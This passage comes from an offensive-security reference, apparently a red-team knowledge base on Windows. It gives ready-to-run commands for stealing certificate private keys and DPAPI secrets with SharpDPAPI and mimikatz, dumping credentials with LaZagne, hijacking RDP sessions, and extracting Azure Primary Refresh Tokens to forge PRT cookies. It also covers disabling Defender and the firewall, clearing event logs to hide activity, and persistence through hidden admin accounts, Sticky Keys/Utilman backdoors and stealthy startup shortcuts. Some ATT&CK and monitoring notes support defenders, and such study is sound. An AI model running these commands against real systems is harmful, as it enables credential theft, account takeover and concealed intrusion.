| User      | Registry   | <p><code>HKEY\_CURRENT\_USER\Software\Microsoft\SystemCertificates</code><br><br><code>HKEY\_USERS\&#x3C;USER\_SID>\Software\Microsoft\SystemCertificates</code></p>                            | Similar as `HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates` but contains certificates deployed by group policy.                                                                                                  |
| User      | Filesystem | <p><code>%APPDATA%\Microsoft\SystemCertificates\My\Certificates\</code><br><br><code>%SystemRoot%\Users\&#x3C;USERNAME>\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates</code></p> | Personal certificates (`My` store) for the current / given user.                                                                                                                                                          |
| Machine   | Registry   | `HKEY_LOCAL_MACHINE\Software\Microsoft\SystemCertificates`                                                                                                                                      | Contains local machine certificate stores.                                                                                                                                                                                |
| Machine   | Registry   | `HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\SystemCertificates`                                                                                                                             | Similar to `HKEY_LOCAL_MACHINE\Software\Microsoft\SystemCertificates` but contains certificates deployed by group policy.                                                                                                 |
| Machine   | Registry   | `HKEY_LOCAL_MACHINE\Software\Microsoft\EnterpriseCertificates`                                                                                                                                  | Contains information about the `CA` trusted by the local machine (with the trusted `CA` certificates being published in the `Enterprise NTAuth` store, locally cached version of the `NtAuthCertificates` domain object). |

The certificate private keys are stored encrypted as `DPAPI` blobs under:

* `%APPDATA%\Microsoft\Crypto\RSA\<USER_SID>\` and `%APPDATA%\Microsoft\Crypto\Keys\` for respectively `CAPI` and `CNG` keys associated with user certificates.
* `%SystemRoot%\ProgramData\Microsoft\Crypto\RSA\MachineKeys` for machine certificates.

The private key `DPAPI` blobs must be decrypted with an user or machine `DPAPI masterkey` (identified by a `GUID`). The [`SharpDAPI`](https://github.com/GhostPack/SharpDPAPI) `C#` project can be used to automate the process of enumerating the private keys, retrieving the associated `DPAPI masterkey(s)` (if prerequisites, detailed below, are satisfied), and exporting the certificates.

In order to retrieve the `DPAPI masterkey` for users private keys, `SharpDAPI` requires knowledge of either the user password or the Active Domain `DPAPI` `Domain Backup Key`. If only the user `NTLM` hash is known or if code execution is achieved under the security context of the targeted user (without knowledge of the user password), `mimikatz` can be used to retrieve `DPAPI masterkey(s)` (and the decryption / export can then be done using `SharpDAPI`).

Private keys associated with machine certificates can be retrieved simply through an elevated context. Indeed, the `DPAPI machine key`, required to decrypt machine private keys, is located in `Local Security Authority (LSA)` secrets and accessible to `NT AUTHORITY\SYSTEM`.

Refer to the `DPAPI - Generic and third parties credentials` section above for more information on `DPAPI`.

```bash
# Enumerates all users private keys (as accessible depending on the current privileges) and the DPAPI masterkeys needed for decryption.
.\SharpDPAPI.exe certificates /showall

# If executed in a privileged context, retrieves all the machine private keys (by first elevating to "NT AUTHORITY\SYSTEM" to retrieve the DPAPI machine key).
.\SharpDPAPI.exe certificates /machine /showall

# Uses the specified user password to decrypt the DPAPI masterkeys and then retrieve the private keys.
.\SharpDPAPI.exe certificates /password:<PASSWORD>

# Uses an user security context to retrieve a private key.
# First identify the GUID of the DPAPI masterkey needed to decrypt the private key.
.\SharpDPAPI.exe certificates /showall

# Retrieve the specific masterkey SHA1 using mimikatz ("sha1: <SHA1>" in mimikatz's output).
# <MASTER_KEY_PATH> example: C:\Users\<USERNAME>\AppData\Roaming\Microsoft\Protect\<USER_SID>\<MASTERKEY_GUID>
mimikatz.exe "dpapi::masterkey /in:<MASTER_KEY_PATH> /rpc" exit

# Finally decrypt the private key using the retieved masterkey and export the certificate.
.\SharpDPAPI.exe certificates [/target:<PRIVATE_KEY_FILE_PATH>] "{<MASTERKEY_GUID>}:<MASTERKEY_SHA1>"
```

The certificates retrieved using `SharpDAPI` will be in the `PEM` format (with public and private keys) and must be converted in the `PFX` format, supported by Windows, to be further usable by some utilities (such as `Rubeus` to request `TGT`):

```bash
openssl pkcs12 -in <IN_PEM_FILE> -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out <OUT_PFX_FILE>
```

### Automated Windows, generic and third parties credentials retrieval with LaZagne

`LaZagne` is a Python utility, available as a standalone binary, that attempt to retrieve the credentials possibly stored on a system by a number of third party softwares, such as web browsers, system administrator and developers utilities, etc. It will conduct the search for every user profiles and will retrieve the credentials stored by third parties software through different mediums (plaintext files, registry keys, local databases, etc.), decrypting the `DPAPI` encrypted blob using the `MasterKeys` extracted from memory. Additionally, `LaZagne` will retrieve credentials from the Windows `MScache`, `SAM` registry hive and `LSASS` process if executed with the necessary elevated privileges.

```bash
lazagne.exe all -oA -output <OUTPUT_FILE_PATH>
```

### SecureString

If an encrypted standard string of a PowerShell `SecureString` object is compromised, from a file for example, the `SecureString` can be directly re used:

```
# Neither the specified <DOMAIN> or <USERNAME> matter to retrieve the password (but do to directly reuse the PS credential object).
$user = "<DOMAIN>\<USERNAME>";

# Regular secure string.
$secure_str = "<SECURESTRING>" | ConvertTo-SecureString;

# If the secure string has been encrypted using an AES key.
# The AES <AES_KEY> should be specified in a bytes array (example for a AES 256 key: 149,78,229,162,205,32,191,57,155,208,27,225,129,85,69,233,157,77,207,49,67,238,46,181,182,80,171,236,170,103,59,182).
$encrypted = "<BASE64_ENCRYPTED_SECURE_STRING>"
[Byte[]] $key = (<AES_KEY>)
$secure_str = $encrypted | ConvertTo-SecureString -Key $key

$creds = New-Object System.Management.Automation.PSCredential($user, $secure_str)

# The plaintext password stored in the secure string can then be retrieved.
$creds.GetNetworkCredential() | fl
```

The PowerShell credentials object can now be passed to cmdlets supporting it, such as `Start-Process` / `Start-Job` or `Invoke-Command` / `Enter-PSSession`.

Note that if the `SecureString` object was created using a plaintext password, instead of using a `Key` / `SecureKey`, the stored standard string can only be converted to a `SecureString` object by the account, local or domain joined, that created the `SecureString` initially. Otherwise, the following error message will be returned:

```
ConvertTo-SecureString : Key not valid for use in specified state.
```

### RDP Session Hijacking

If `Administrator` / `NT AUTHORITY\SYSTEM` privileges could be obtained on a host, `Remote Desktop Protocol (RDP)` sessions of others users can be hijacked. This could be leveraged to access the host under the security context of the hijacked user, through a graphical explorer, with out knowing its password.

Note that:

* Hijacking of disconnected sessions is possible.
* Hijacking a session will unlock locked sessions (with out the need to provide credentials).

Retrieve the `ID` of the eventual `RDP` sessions present on the host:

```bash
# SESSIONNAME = rdp-*
query user
```

Create and start a service that will execute `tscon` to hijack the specified `RDP` session:

```bash
sc create sesshijack binpath= "cmd.exe /k tscon <SESSION_ID> /dest:<SESSION_NAME>"
sc start sesshijack
```

### Network packet capture

The Windows `netsh` built-in utility can be used to the traffic of the local system. The network capture will be exported in the `ETL` format, which can be converted to `pcap` using, for example, [`Microsoft Message Analyzer`](https://docs.microsoft.com/en-us/message-analyzer/microsoft-message-analyzer-operating-guide).

```bash
# Captures the local network traffic, optionally to the specified IP.
netsh trace start capture=yes [tracefile=<OUTPUT_ETL>] [IPv4.Address=<IP>]

# Stops the network capture.
netsh trace stop
```

### Azure related credentials

#### Primary Refresh Token for Azure-joined devices

The `Primary Refresh Token (PRT)` is a `JWT` token used on Azure AD joined or hybrid-joined devices to achieve single sign-on on `Azure AD`. The `PRT` is used to request refresh and access tokens to access Azure / AzureAD resources and has a validity period of 14 days.

When a `PRT` is issued, [AzureAD also issues an encrypted `session key` to the device](https://learn.microsoft.com/en-us/azure/active-directory/devices/concept-primary-refresh-token#how-is-the-prt-protected). This `session key` is used as the (required) Proof-of-Possession (POP) key for any token requests or `PRT` renewal (by signing tokens requests). The `session key` is encrypted using `DPAPI`, with a DPAPI `MasterKey` of the machine. Additionally, on devices with a `TPM`, the `session key` is also protected by the `TPM` and cannot be directly accessed. Instead a `derived key` can be retrieved through the `TPM` to conduct the token request process.

Note that the claims of the `PRT` will be given to any access tokens or refresh tokens obtained via the `PRT`. The `PRT` will notably contain the eventual MFA claim and the `PRT`-specific `deviceID` claim. As a result, tokens obtained via a `PRT` may satisfy `Conditional Access policies` based on device enrollment status and MFA.

If a device is disabled in AzureAD, the `PRT` associated with the device will no longer be usable to request tokens.

**PRT / session key retrieval and PRT-cookie crafting with mimikatz**

```bash
# Checks the enrollment state of the system.
#   AzureAdJoined : <YES | NO>
#   EnterpriseJoined : <YES | NO>
#   DomainJoined : <YES | NO>
dsregcmd.exe /status

# Checks whether a TPM is present and enabled.
Get-Tpm

# Extracts the PRT cached by the LSASS CloudAP authentication package.
# The PRT is stored under the "prt" field and the session key in the ProofOfPossessionKey.KeyValue field.
mimikatz > sekurlsa::cloudap

# Decrypts the session key using the DPAPI masterkey to retrieve a derived key.
# If mimikatz is executed directly on the host as "NT AUTHORITY\SYSTEM", the DPAPI masterkey can be automatically retrieved.
# Otherwise the masterkey can be retrieved from the LSASS dump using sekurlsa::dpapi and MUST then be specified with /masterkey:<MASTERKEY>.
mimikatz > token::elevate
mimikatz > dpapi::cloudapkd /keyvalue:<SESSION_KEY> /unprotect

mimikatz > sekurlsa::dpapi
mimikatz > dpapi::cloudapkd /keyvalue:<SESSION_KEY> /masterkey:<MASTERKEY> /unprotect

# If the device has a TPM, the session key will be protected by the TPM ("TPM protected (DPAPI)") and an additional step is required to retrieve a derived key.
# The following commands should only be executed on the target device if the session key is TPM-protected.
mimikatz > privilege::debug
mimikatz > token::elevate
mimikatz > dpapi::cloudapkd /keyvalue:<SESSION_KEY> /unprotect

# A PRT-cookie can be finally crafted using the PRT and the derived key (retrieved with /unprotect).
mimikatz > dpapi::cloudapkd /prt:<PRT> /derivedkey:<DERIVED_KEY>
```

Alternatively to the last `mimikatz` command, the following PowerShell code snippet, relying on the `AADInternals` module, can be used to generate a `PRT-cookie` from the `PRT` and clear-text `session key`:

```
# Source: https://o365blog.com/post/prt/

# Install-Module AADInternals

Import-Module AADInternals

# PRT and clear-text session key from mimikatz outputs (sekurlsa::cloudap for the PRT + dpapi::cloudapkd /unprotect for the session key).
$PRT_B64 = "<PRT_TOKEN>"
$SessionKey = "<SESSION_KEY>"

# Adds padding if necessary to the PRT.
while($PRT_B64.Length % 4) {$PRT_B64 += "="}

# Converts the PRT from Base 64.
$PRT = [text.encoding]::UTF8.GetString([convert]::FromBase64String($PRT_B64))

# Converts to byte array and base 64 encode the session key.
$SessionKey_B64 = [convert]::ToBase64String([byte[]] ($SessionKey -replace '..', '0x$&,' -split ',' -ne ''))

# Generate a new PRT-Cookie with nonce.
$prtToken = New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SessionKey_B64 -GetNonce

Write-Host "PRT-cookie (for example for x-ms-RefreshTokenCredential): " $prtToken

$prtToken | Set-Clipboard
```

**PRT-cookie request through the built-in browsercore.exe utility**

As discovered by [@\_dirkjan](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/) and [Lee Christensen](https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30), the built-in `browsercore.exe` utility is leveraged by the Microsoft Edge and Chrome (though a specific extension) webbrowsers to implement Azure SSO by generating a `PRT-cookie` using a `PRT`. Simply put, a nonce is given to the `BrowserCore.exe` process's `stdin` and a response containing a token can be retrieved from the process `stdout`.

The following code-snippet, adapted from [`AADInternals`'s `Get-UserPRTToken`](https://github.com/Gerenios/AADInternals/blob/master/PRT.ps1) can be used to retrieve a `PRT-cookie` using the current user security context and `PRT`.

```
# Retrieves the required nonce.
$response = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://login.microsoftonline.com/Common/oauth2/token" -Body "grant_type=srv_challenge"
$nonce = $response.Nonce

$request_body = @"
{
  "method":"GetCookies",
  "uri":"https://login.microsoftonline.com/common/oauth2/authorize?sso_nonce=$nonce",
  "sender":"https://login.microsoftonline.com"
}
"@

# Other possible location: "$($env:windir)\BrowserCore\browsercore.exe"
$browsercorepath = "$($env:ProgramFiles)\Windows Security\BrowserCore\browsercore.exe"

# Creates the BrowserCore process.
$p = New-Object System.Diagnostics.Process
$p.StartInfo.FileName = $browsercorepath
$p.StartInfo.UseShellExecute = $false
$p.StartInfo.RedirectStandardInput = $true
$p.StartInfo.RedirectStandardOutput = $true
$p.StartInfo.CreateNoWindow = $true

# Starts the process.
$p.Start()
$stdin =  $p.StandardInput
$stdout = $p.StandardOutput

# Writes the input
$stdin.BaseStream.Write([bitconverter]::GetBytes($body.Length),0,4)
$stdin.Write($body)
$stdin.Close()

# Retrieves the response.
$response=""
while($null -ne $stdout -and !$stdout.EndOfStream) {
    $response += $stdout.ReadLine()
}

Write-Host "RESPONSE: $response"

$p.WaitForExit()
```

**Using the PRT-cookie**

The `PRT-cookie` can be used in a number of ways, for instance to access the web portal or request access and refresh tokens for the `AAD Graph API`.

* Access to the Azure web portal using `Chrome`:
  1. Access the Azure login page at `https://login.microsoftonline.com/`.
  2. Open the Developer tools and clear the current cookies: F12 -> Application -> Cookies -> Clear
  3. Add the `PRT-cookie` as `x-ms-RefreshTokenCredential`, with `HttpOnly` enabled.
  4. Access the Azure portal at `https://portal.azure.com/`.
* Access to `Azure AD` with the `AzureAD` PowerShell module, using `AADInternals`'s `Get-AADIntAccessTokenForAADGraph` to get an access token:

  ```bash
  [...]

  $prtToken = New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SessionKey_B64 -GetNonce

  $accessToken = Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken [-SaveToCache]

  Write-Host "Access token for AAD Graph API: " $accessToken

  $accessToken | Set-Clipboard

  # AzureAD module's Connect-AzureAD cmdlet.
  Connect-AzureAD -TenantId "<AAD_TENANT_ID>" -AccountId "<ACCOUNT_ID>" -AadAccessToken "<$accessToken | ACCESS_TOKEN>"

  # AzureRT module's Connect-ARTAD cmdlet, that present the advantage of retrieving the TenantId and AccountId from the provided token.
  Connect-ARTAD -AccessToken "<$accessToken | ACCESS_TOKEN>"
  ```
* Access to `Azure` with the `Az` PowerShell module, using `AADInternals`'s `Get-AADIntAccessTokenForAzureCoreManagement` to get an access token:

  ```bash
  [...]

  $prtToken = New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SessionKey_B64 -GetNonce

  $accessToken = Get-AADIntAccessTokenForAzureCoreManagement -PRTToken $prtToken

  Write-Host "Access token for Azure Management API: " $accessToken

  $accessToken | Set-Clipboard

  # AzureRT module's Connect-ART cmdlet.
  Connect-ART -AccessToken "<$accessToken | ACCESS_TOKEN>"
  ```

#### Azure / Azure AD access tokens

The `Az` / `AzureAD` PowerShell module or the `Az CLI` utility can store access tokens (with a limited time validity) on disk:

* `Az` module: `%SystemDrive%:\Users\<USERNAME>\.Azure\AzureRmContext.json`
* `Az CLI` utility: `%SystemDrive%:\Users\<USERNAME>\.Azure\`

***

### References

<https://docs.microsoft.com/en-us/windows/security/identity-protection/credential-guard/credential-guard-manage>

<https://blogs.technet.microsoft.com/ash/2016/03/02/windows-10-device-guard-and-credential-guard-demystified/>

<https://medium.com/@markmotig/some-ways-to-dump-lsass-exe-c4a75fdc49bf> <https://yungchou.wordpress.com/2016/03/14/an-introduction-of-windows-10-credential-guard/>

<https://outflank.nl/blog/2019/06/19/red-team-tactics-combining-direct-system-calls-and-srdi-to-bypass-av-edr/>

<https://github.com/Hackndo/lsassy/wiki>

<http://blog.gentilkiwi.com/securite/mscache-v2-dcc2-iteration>

<https://aaltodoc.aalto.fi/bitstream/handle/123456789/38990/master\\_Aquilino\\_Broderick\\_2019.pdf?sequence=1\\&isAllowed=y>

<https://www.programmersought.com/article/3880644118/>

<https://googleprojectzero.blogspot.com/2018/10/injecting-code-into-windows-protected.html>

<https://www.crowdstrike.com/blog/evolution-protected-processes-part-1-pass-hash-mitigations-windows-81/>

<https://docs.microsoft.com/fr-fr/windows-server/security/credentials-protection-and-management/configuring-additional-lsa-protection>

<https://posts.specterops.io/mimidrv-in-depth-4d273d19e148>

<https://medium.com/@gorkemkaradeniz/defeating-runasppl-utilizing-vulnerable-drivers-to-read-lsass-with-mimikatz-28f4b50b1de5>

<https://github.com/alxbrn/gdrv-loader>

<https://skelsec.medium.com/duping-av-with-handles-537ef985eb03>

<https://itm4n.github.io/lsass-runasppl/>

<https://github.com/gentilkiwi/mimikatz/wiki/howto-\\~-credential-manager-saved-credentials>

<https://github.com/gentilkiwi/mimikatz/wiki/module-\\~-dpapi>

<https://onedrive.live.com/view.aspx?resid=A352EBC5934F0254!3104\\&ithint=file%2cxlsx\\&authkey=!ACGFg7R-U5xkTh4>

<https://www.harmj0y.net/blog/redteaming/operational-guidance-for-offensive-user-dpapi-abuse/>

<https://www.synacktiv.com/ressources/univershell\\_2017\\_dpapi.pdf>

<https://rastamouse.me/2017/08/jumping-network-segregation-with-rdp/>

<https://ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++>

<https://docs.microsoft.com/fr-fr/windows/win32/api/wincred/ns-wincred-credentiala?redirectedfrom=MSDN>

<http://revertservice.com/10/wwansvc/>

<https://www.michev.info/Blog/Post/1435/windows-certificate-stores>

<https://www.specterops.io/assets/resources/Certified\\_Pre-Owned.pdf>

<https://github.com/gentilkiwi/mimikatz/wiki/howto-\\~-decrypt-EFS-files>

<https://billdemirkapi.me/abusing-windows-implementation-of-fork-for-stealthy-memory-operations/>

<https://learn.microsoft.com/en-us/azure/active-directory/devices/concept-primary-refresh-token>

<https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/>

<https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30>


# Defense evasion

### Windows Defender

The following PowerShell command can be used to switch off `Windows Defender` real-time protection:

```
# Add the specified folder to Windows Defender's exclusion list.
# The exclusion list can be retrieved using: Get-MpPreference | Ft ExclusionPath
Add-MpPreference -ExclusionPath "<PATH>"

# Disables Windows Defender real-time protection.
Set-MpPreference -DisableRealtimeMonitoring $true

# Disables, in addition to real-time protection, various other protections offered by Microsoft Defender (scanning of scripts and downloaded files, automatic sample submission, etc.).
Set-MpPreference -DisableRealtimeMonitoring $true -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
```

### Windows Firewall

To check whether the Windows Firewall is enabled on a server or computer, the following command can be used as `Administrator` / `SYSTEM`:

```
# Show the profile applied to each network adapter
netsh advfirewall monitor show currentprofile

# Windows Firewall state for all profile (Public / Domain / Private)
netsh advfirewall show allprofiles
Get-NetFirewallProfile

# Show all rules for the given profile
netsh advfirewall firewall show rule profile=<public | private | domain | any | ...> name=all
Get-NetFirewallProfile -Name <Public | Private | Domain | * | ...> | Get-NetFirewallRule
```

By default, three separate listings are present: Domain profile settings, private profile settings and public profile settings. With the private profile, applied to a network adapter when it is connected to a network that is identified by the user or administrator as a private network, Windows enables network discovery features, allows file sharing and other networked features. The public profile, applied to a network adapter by default or if specified so by an user or administrator, is the most restrictive profile. In the default public profile, Windows will block all inbound connections to programs that are not on the list of allowed programs. Finally, the Domain profile is used when a server or computer is joined to an Active Directory domain. In this environment, firewall settings are typically (but not necessarily) controlled by a network administrator.

Windows blocks inbound connections and allows outbound connections for all profiles by default.

To disable the firewall use the following commands:

```
# Disable current profile
netsh advfirewall set currentprofile state off

# Disable all profiles
netsh advfirewall set allprofiles state off
Set-NetFirewallProfile -All -Enabled False

# Disable the private, public and domain profiles
netsh advfirewall set privateprofile state off
netsh advfirewall set publicprofile state off
netsh advfirewall set domainprofile state off
Set-NetFirewallProfile -Profile <Domain | Private | Public | PROFILE NAME> -Enabled False
```

To open a specific port, or a range, use the following command:

```bash
netsh advfirewall firewall add rule name="<RULE_NAME>" protocol=TCP dir=in localport=<PORT> action=allow
```

### Activate RDP

RDP can be enabled / disabled with out the need to restart the system with the `reg` utility:

```bash
# Check if RDP is enabled
netstat /p tcp /a | findstr 3389
# If RDP is enabled, registry value should be equal to 0x0
reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections

# Enable RDP
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
netsh advfirewall firewall set rule group="remote desktop" new enable=Yes

# Disable RDP
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 1 /f
```

### Windows logs clearing

Windows event logs track the activity and a number of operations conducted on the system.

The following notable hives, located in `%systemroot%\System32\winevt\Logs`, may be of interest for forensics analysis (and should thus be deleted in priority to hide adversary activity):

* `Security.evtx`: users logon / logoff, local accounts and groups operations, process creation with command line if activated, etc.
* `System.evtx`: Windows service creation operations (creation, execution, deletion, etc.)
* `Windows PowerShell.evtx` and `Microsoft-Windows-PowerShell%4Operational.evtx`: PowerShell activity, with a varying level of information depending on the system configuration (activation of non default `Module Logging`, `Script block logging`, etc.)
* `Microsoft-Windows-TaskScheduler%4Operational.evtx`: scheduled tasks operations (registration, execution, deletion, etc.).
* `Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx`, `Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational`, and `Microsoft-WindowsRemoteDesktopServicesRdpCoreTS%4Operational.evtx`: `RDP` activity such as access to the Windows login screen and remote interactive logon through.
* `Microsoft-Windows-WinRM%4Operational`
* `Microsoft-Windows-Shell-Core%4Operational.evtx`: programs executed through the `Run` / `RunOnce` `ASEPs` registry keys.
* `Microsoft-Windows-AppLocker%4EXE and DLL.evtx` and `Microsoft-Windows-AppLocker%4MSI and Script` (and others `Microsoft-Windows-AppLocker%4*.evtx`): execution of binaries and scripts if `AppLocker` is activated in `Audit only` mode (non default).

Note that upon clearing of some `EVTX` hives (such as the `Security` and `System` hives), specific events will be generated to keep trace of the logs clearing. Refer to the `[DFIR] Windows - EVTX integrity` note for more information on the Windows events generated by events deletion.

```
# Clears the specified hive using the wevtutil built-in utility.
wevtutil cl <security | system | HIVE_NAME>

# Clears the specified hive using the Clear-EventLog PowerShell cmdlet.
Clear-EventLog -LogName <Security | System | HIVE_NAME>

# Clears all the logs of the registered ETW provider.
$AllLogs = Get-EventLog -List | ForEach-Object {$_.Log}
$AllLogs | ForEach-Object {Clear-EventLog -LogName $_ }
```

<https://github.com/QAX-A-Team/EventCleaner>


# Local persistence

A number of techniques can be employed to maintain persistence on a Windows system, with the goal of maintaining access on the systems across restarts or other forms of interruption. For a more comprehensive list of the persistence that can be employed, refer to the entry for persistence in the [MITRE ATT\&CK matrices (TA0003)](https://attack.mitre.org/tactics/TA0003/).

Some of the techniques mentioned below can be accomplished through `Cobalt Strike`'s `execute-assembly` (or [`InlineExecute-Assembly`](https://github.com/anthemtotheego/InlineExecute-Assembly)) using the [`SharPersist`](https://github.com/mandiant/SharPersist) C# utility.

The forensics artefacts left by (some) of the persistence techniques detailed below are detailed in the `[DFIR] Windows - TTPs analysis - Local persistence` note.

### Local Administrator account

| ATT\&CK                                                 | Persistence type | Privilege level required | Monitoring possibilities                                                                         |
| ------------------------------------------------------- | ---------------- | ------------------------ | ------------------------------------------------------------------------------------------------ |
| [T1136.001](https://attack.mitre.org/techniques/T1098/) | Remote access.   | `Administrator`.         | <p>Windows default <code>Security</code> events.<br><br>Windows <code>API</code> monitoring.</p> |

The following `net user` commands can be used to create and add a local account to the local `Administrators` group (directly or periodically through a `Scheduled Task`):

```bash
# Creates a new account.
net user /add <USERNAME> <PASSWORD>

# Adds account as administrator.
net localgroup Administrators <USERNAME> /add
net localgroup Administrateurs <USERNAME> /add

# Define a scheduled task that will create a local user and add it to the local Administrator group every <MODIFIER>.
# The <PERIODICITY> depends on the periodicity chosen (minute, hourly, daily, weekly, or monthly): 1 - 1439 for minutes, 1 - 23 for hours, 1 - 365 for days, 1 - 52 for weeks or 1 - 12 for months.
# To avoid a warning on the password length (that may require an user interaction), the password specified should be shorter than 14 characters.
schtasks /create /tn "<TASK_NAME>" /tr "cmd /c net user <USERNAME> <PASSWORD> /add && net localgroup Administrators <USERNAME> /add" /sc <minute | hourly | daily | weekly | monthly> /mo <PERIODICITY> /RU "NT AUTHORITY\SYSTEM"
```

### Sticky Keys or Utilman backdoors

| ATT\&CK                                                     | Persistence type | Privilege level required | Monitoring possibilities                                                                                                                                                                     |
| ----------------------------------------------------------- | ---------------- | ------------------------ | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| [T1546.008](https://attack.mitre.org/techniques/T1547/001/) | Remote access.   | `Administrator`.         | <p>Non default specific <code>DACL</code> on the <code>sethc.exe</code> and <code>utilman.exe</code> files to raise alert upon modification.<br><br>Windows <code>API</code> monitoring.</p> |

Both the `Sticky Keys` (`sethc.exe`) and `Utilman` (`utilman.exe`) utilities can be launched at the login screen before authentication as `NT AUTHORITY\SYSTEM`. A graphical access to the host login prompt is needed in order to make use of this backdoor mechanism. Indeed, to remotely leverage persistence through `Sticky Keys` or `Utilman`:

* `RDP` must be enabled and the `RDP` service accessible remotely over the network. Refer to the `Activate RDP` and `Windows Firewall` sections of the present note to active `RDP` and configure a rule allowing inbound `RDP` access on the local host.
* The `RDP`'s `Network Level Authentication (NLA)` security mechanism must be deactivated if no valid credentials are known.

To access a host remotely in `RDP`, the user used must have the `SeRemoteInteractivePrivilege`, granted by default to the members of the `Remote Desktop Users` local group of the host. The following `net localgroup` commands can be used to add the specified user in this group:

```bash
net localgroup "Remote Desktop Users" <USERNAME> /add
net localgroup "Utilisateurs du Bureau à distance" <USERNAME> /add

# Connect in RDP from Linux
rdesktop -k fr -g 90% -d '<DOMAIN>' -u '<USERNAME>' -p '<PASSWORD>' <HOSTNAME | IP>
```

The `sethc.exe` is launched after pushing the `Maj` key five times and the `utilman.exe` can be started using the `Win + U` keys.

```bash
copy %ComSpec% %SystemRoot%\System32\sethc.exe
copy %ComSpec% %SystemRoot%\System32\utilman.exe
```

### Windows startup folders

| ATT\&CK                                                     | Persistence type | Privilege level required                                             | Monitoring possibilities                                                                                                                                                                                                                                |
| ----------------------------------------------------------- | ---------------- | -------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| [T1547.001](https://attack.mitre.org/techniques/T1547/001/) | Code execution.  | User or `Administrator` depending on the `startup folders` targeted. | <p>Non default specific <code>DACL</code> on the <code>startup folders</code> files to raise alert upon file creation.<br><br>Periodic review / validation of the <code>startup folders</code> entries.<br><br>Windows <code>API</code> monitoring.</p> |

The Windows `startup folders` contains `shortcut links` (`.lnk`) that will be executed upon any user log in (`All Users` `start up` folder) or when the associated user logs in (`Current Users` `start up` folders).

The `startup folders` are located at the following paths:

```bash
# All Users startup folder.
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup

# Current Users startup folders.
C:\Users\<USERNAME>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
```

A `shortcut link` file can be created manually through the `Windows Explorer`:

```
# In the folder in which the shortcut link should be created:
Right click -> New -> Shortcut -> Enter the <BINARY_PATH> and eventual <ARGUMENTS> -> Next -> Enter the shortcut link file name <LNK_FILE_NAME> -> Finish

# The appearance and comportment of the created shortcut link can be customized:
Right click on the shortcut link file -> Properties
  -> Eventually specify a custom folder path as needed -> Start in: <DIRECTORY_FULL_PATH>
  -> Run: Minimized
  -> Change Icon... -> Select icon displayed for the file.
```

PowerShell can also be used to create and customize a `shortcut link` file:

```bash
$WShell = New-Object -ComObject WScript.Shell
$Shortcut = $WShell.CreateShortcut("<LNK_FILE_NAME>")
$Shortcut.TargetPath = "<BINARY_PATH>"
$Shortcut.Arguments = "<ARGUMENTS>"
$Shortcut.WorkingDirectory = "<DIRECTORY_FULL_PATH>"
$Shortcut.IconLocation = "<ICON_FILE_PATH>"
# 7 = Minimized window.
$Shortcut.WindowStyle = 7
$Shortcut.Save()
```

`SharPersist` supports persistence techniques through the current user's `startup folder`. `SharPersist` presents the advantage of performing timestomping on the created `shortcut link` file and setting the file icon to `Internet Explorer` for increased stealth.

```bash
# Lists the entries in the current user startup folder.
SharPersist.exe -t startupfolder -m list

# Adds a lnk file in the current user startup folder executing the specified executable.
SharPersist -t startupfolder -c "<BINARY_PATH>" [-a "<ARGUMENTS>"] -f "<LNK_FILE_NAME>" -m add

# Removes the specified startup folder entry.
SharPersist.exe -t startupfolder -f "<LNK_FILE_NAME>" -m remove
```

### ASEP registry keys

| ATT\&CK                                                                                                                                                                                          | Persistence type | Privilege level required | Monitoring possibilities                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               |
| ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | ---------------- | ------------------------ | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| <p><a href="https://attack.mitre.org/techniques/T1547/001/">T1547.001</a><br><br><code>Winlogon</code> registry keys: <a href="https://attack.mitre.org/techniques/T1547/004/">T1547.004</a></p> | Code execution.  | User or `Administrator`. | <p>Windows default <code>Microsoft-Windows-Shell-Core%4Operational.evtx</code> events for the <code>Run</code> / <code>RunOnce</code> registry keys (starting from Windows 10 and Windows Server 2016).<br><br>Non default specific <code>DACL</code> on <code>ASEP</code> registry keys to raise alerts upon operations on the keys (<code>Create Subkey</code>, <code>Set Value</code>, ...).<br><br>Periodic review / validation of the <code>ASEP</code> registry keys configured.<br><br>Windows <code>API</code> monitoring.</p> |

A number of registry keys, known as `Auto-Start Extensibility Points (ASEP)` registry keys, are run whenever the system is booted or a specific user logs in. The `ASEP` keys under `HKEY_LOCAL_MACHINE (HKLM)` are run every time the system is started, while the `ASEP` keys under `HKEY_CURRENT_USER (HKCU)` are only executed when the user associated with the keys logs on to the system.

